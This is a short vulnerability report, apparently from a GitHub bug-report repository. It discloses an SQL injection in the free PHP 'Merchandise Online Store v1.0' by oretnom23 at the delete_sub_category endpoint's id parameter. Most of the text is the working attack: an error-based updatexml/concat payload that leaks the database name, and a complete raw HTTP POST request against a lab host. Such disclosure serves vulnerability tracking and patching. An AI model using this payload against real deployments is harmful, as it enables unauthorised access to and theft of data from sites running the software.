

main

...

bug_report / vendors / oretnom23 / merchandise-online-store / SQLi-6.md



debug601 Create SQLi-6.md

History

1 contributor

29 lines (22 sloc) | 1.2 KB

...

Merchandise Online Store v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/14887/merchandise-online-store-php-free-source-code.html>

Vulnerability File: /vloggers_merch/classes/Master.php?f=delete_sub_category

Vulnerability location: /vloggers_merch/classes/Master.php?f=delete_sub_category, id

[+] Payload: id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /vloggers_merch/classes/Master.php?f=delete_sub_category HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/vloggers_merch/admin/?page=maintenance/sub_category
Content-Length: 65
```

Cookie: PHPSESSID=n23o4bgngdq5q3js6l0a0i6r6k

Connection: close

id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place --->

